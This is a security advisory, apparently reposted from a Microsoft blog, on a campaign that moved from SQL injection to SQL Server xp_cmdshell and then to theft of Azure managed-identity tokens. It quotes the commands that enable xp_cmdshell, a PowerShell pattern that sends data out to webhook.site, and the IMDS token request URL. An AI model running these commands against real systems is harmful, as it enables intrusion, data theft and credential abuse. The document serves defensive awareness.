Defending new vectors: Threat actors attempt SQL Server to cloud lateral movement
Microsoft security researchers recently identified a campaign where attackers attempted to move laterally to a cloud environment through a SQL Server instance. This attack technique demonstrates an approach we’ve seen in other cloud services such as VMs and Kubernetes cluster, but not in SQL Server. The attackers initially exploited a SQL injection vulnerability in an application within the target’s environment. This allowed the attacker to gain access and elevated permissions on a Microsoft SQL Server instance deployed in Azure Virtual Machine (VM). The attackers then used the acquired elevated permission to attempt to move laterally to additional cloud resources by abusing the server’s cloud identity. Cloud identities are commonly used in cloud services including SQL Server and may possess elevated permissions to carry out actions in the cloud. This attack highlights the need to properly secure cloud identities to defend SQL Server instances and cloud resources from unauthorized access.
The attack flow we observed initiated multiple Microsoft Defender for SQL alerts that allowed us to identify and analyze the cloud lateral movement technique. The alerts also allowed us to quickly deploy additional protections despite not having visibility of the application that was targeted with the SQL injection vulnerability to access the SQL Server. While our analysis of this attack did not indicate that the attackers successfully moved laterally to the cloud resources, we assess that it is important for defenders to be aware of this technique used in SQL Server instances, and what steps to take to mitigate potential attacks.
Cloud-based lateral movement:
As more organizations move to the cloud, we see new types of cloud-based attack techniques that are fundamentally different than the ones that are known from on-premises environments. An example of this is how attackers are finding new vectors to perform lateral movement from certain on-premises environments into cloud resources. In cloud environments, one of the methods to perform lateral movement is by abusing cloud identities that are bound to the cloud resource. Cloud services like Azure use managed identities for allocating identities to the various cloud resources. Those identities are used for authentication with other cloud resources and services. While managed identities offer advantages in terms of convenience, security, and efficiency, they also come with certain risks that introduce a potential attack vector. For example, if attackers compromised a VM, they could acquire a token for its attached identity by querying the instance metadata service (IMDS) endpoint. With the managed identity access token, the attackers could perform various malicious operations on the cloud resources that the identity has access to. In the attack we observed, the attackers attempted to perform the identity-based lateral movement in an environment where we haven’t seen this technique used before SQL Server instances.
Known technique, new environment: from SQL Server to cloud:
While the attempt to move laterally from the SQL Server instance can be considered new, the attack involved activities common to SQL Server attacks. For example, the initial access vector was a successful SQL injection attack that allowed the attackers to run queries on the SQL Server. The attackers launched numerous SQL statements to gather data about the host, databases, and network configuration. The information that the attackers collected included:
- Databases
- Table names and schema
- Database version
- Network configuration
- Read\write\delete permissions
We assess that it is likely that the application targeted with the SQL injection vulnerability had elevated permissions, thus granting the attackers a similar level of access. The attackers used this elevated permission to turn on the xp_cmdshell command, a method to launch operating system (OS) commands through an SQL query. Since xp_cmdshell is turned off by default to prevent exploitation, the attackers used the permissions they acquired to change the SQL configuration and ran the following commands to turn on xp_cmdshell:
- “EXEC master..sp_configure ‘SHOW advanced options’,1; “RECONFIGURE WITH OVERRIDE;”
- “EXEC master..sp_configure ‘xp_cmdshell’, 1; RECONFIGURE WITH OVERRIDE;”
- “EXEC master..sp_configure ‘SHOW advanced options’,0; RECONFIGURE WITH OVERRIDE;”
After enabling xp_cmdshell, the attackers manually initiated a series of operating system commands to launch the next phases of the attack. By using xp_cmdshell, the attackers were able to operate as if they had a shell on the host. To collect data, the attackers used simple methods such as reading directories, listing processes, and checking network shares. The attackers downloaded several executables and PowerShell scripts that are encoded and compressed. Most of the attacker’s actions from this point were through PowerShell commands, scripts, and modules. For persistence, the attackers used a scheduled task to launch a backdoor script. In addition, the attackers tried to get credentials by dumping SAM and SECURITY registry keys.
The attackers used a unique method for data exfiltration: they utilized a publicly accessible service called “webhook. site”. This service functions as a free platform for inspecting, debugging, and receiving incoming HTTP requests and emails. Any request directed to this address is promptly logged. The commands are in this pattern: Command | Out-String; Invoke-WebRequest -Uri https[:]//webhook.site/G-UID. Utilizing this method for data exfiltration allowed the attackers to operate discreetly when transmitting outgoing traffic, as the selected service can be considered as legitimate. While looking at the technique used by the attackers to perform lateral movement, we encountered a familiar method implemented in a distinct environment: the attackers tried utilizing the cloud identity of the SQL Server instance by accessing the IMDS and obtaining the cloud identity access key. The IMDS is a RESTful web service that runs on a local IP address (169.254.169[.]254) and provides information about the VM, such as the VM’s region, tags, and identity token. The identity token is a JSON Web Token (JWT) that contains the claims and the signature of the identity.
The request to IMDS identity’s endpoint returns the security credentials (identity token) for the cloud identity. For example, in Azure, this request would look like this: hxxp://169.254.169[.]254/metadata/identity/oauth2/token?api-version=2018–02–01&resource=https://management.azure.com/
With the identity token, the attackers can perform various operations on cloud resources that the cloud identity has access to. They can perform lateral movement across the cloud environment, thus getting access to external services. While the attackers, in this case, were unsuccessful in attempts to take advantage of this technique due to an error, I strongly recommend My MCK’s apply the best practices we provide in my blog posts to protect environments against attacks that may use the same technique.